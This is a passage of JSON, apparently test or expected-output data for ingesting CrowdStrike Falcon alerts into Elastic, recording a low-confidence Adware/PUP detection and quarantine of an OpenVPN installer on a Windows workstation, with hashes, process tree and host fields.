"392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - "platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - { - "@timestamp": "2023-11-03T18:00:22.328Z", - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "confidence": 10, - "context_timestamp": "2023-11-03T18:00:31.000Z", - "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", - "crawl_edge_ids": { - "Sensor": [ - "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", - "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!", - "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", - "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", - "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N" - ] - }, - "crawl_vertex_ids": { - "Sensor": [ - "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", - "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" - ] - }, - "crawled_timestamp": "2023-11-03T19:00:23.985Z", - "created_timestamp": "2023-11-03T18:01:23.995Z", - "data_domains": [ - "Endpoint" - ], - "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "device": { - "agent_load_flags": 0, - "agent_local_time": "2023-10-12T03:45:57.753Z", - "agent_version": "7.04.17605.0", - "bios_manufacturer": "ABC", - "bios_version": "F8CN42WW(V2.05)", - "cid": "92012896127c4a948236ba7601b886b0", - "config_id_base": "65994763", - "config_id_build": "17605", - "config_id_platform": 3, - "external_ip": "81.2.69.142", - "first_seen": "2023-04-07T09:36:36.000Z", - "groups": [ - "18704e21288243b58e4c76266d38caaf" - ], - "hostinfo": { - "active_directory_dn_display": [ - "WinComputers", - "WinComputers\\ABC" - ], - "domain": "ABC.LOCAL" - }, - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "last_seen": "2023-11-03T17:51:42.000Z", - "local_ip": "81.2.69.142", - "mac_address": "AB-21-48-61-05-B2", - "machine_domain": "ABC.LOCAL", - "major_version": "10", - "minor_version": "0", - "modified_timestamp": "2023-11-03T17:53:43.000Z", - "os_version": "Windows11", - "ou": [ - "ABC", - "WinComputers" - ], - "platform_id": "0", - "platform_name": "Windows", - "product_type": "1", - "product_type_desc": "Workstation", - "site_name": "Default-First-Site-Name", - "status": "normal", - "system_manufacturer": "LENOVO", - "system_product_name": "20VE" - }, - "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "grandparent_details": { - "cmdline": "C:\\Windows\\system32\\userinit.exe", - "filename": "userinit.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", - "local_process_id": "4328", - "md5": "b07f77fd3f9828b2c9d61f8a36609741", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", - "process_id": "392734873135", - "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "timestamp": "2023-10-30T16:49:19.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "yuvraj.mahajan" - }, - "has_script_or_module_ioc": true, - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "ioc_context": [ - { - "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "ioc_source": "library_load", - "ioc_type": "hash_sha256", - "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "type": "module" - } - ], - "ioc_values": [ - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - ], - "is_synthetic_quarantine_disposition": true, - "local_process_id": "17076", - "logon_domain": "ABSYS", - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "name": "PrewittPupAdwareSensorDetect-Lowest", - "objective": "FalconDetectionMethod", - "parent_details": { - "cmdline": "C:\\WINDOWS\\Explorer.EXE", - "filename": "explorer.exe", - "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "local_process_id": "1040", - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", - "process_id": "392736520876", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "timestamp": "2023-11-03T18:00:32.000Z", - "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - }, - "parent_process_id": "392736520876", - "pattern_disposition": 2176, - "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", - "pattern_disposition_details": { - "blocking_unsupported_or_disabled": false, - "bootup_safeguard_enabled": false, - "critical_process_disabled": false, - "detect": false, - "fs_operation_blocked": false, - "handle_operation_downgraded": false, - "inddet_mask": false, - "indicator": false, - "kill_action_failed": false, - "kill_parent": false, - "kill_process": false, - "kill_subprocess": false, - "operation_blocked": false, - "policy_disabled": false, - "process_blocked": true, - "quarantine_file": true, - "quarantine_machine": false, - "registry_operation_blocked": false, - "rooting": false, - "sensor_only": false, - "suspend_parent": false, - "suspend_process": false - }, - "pattern_id": "5761", - 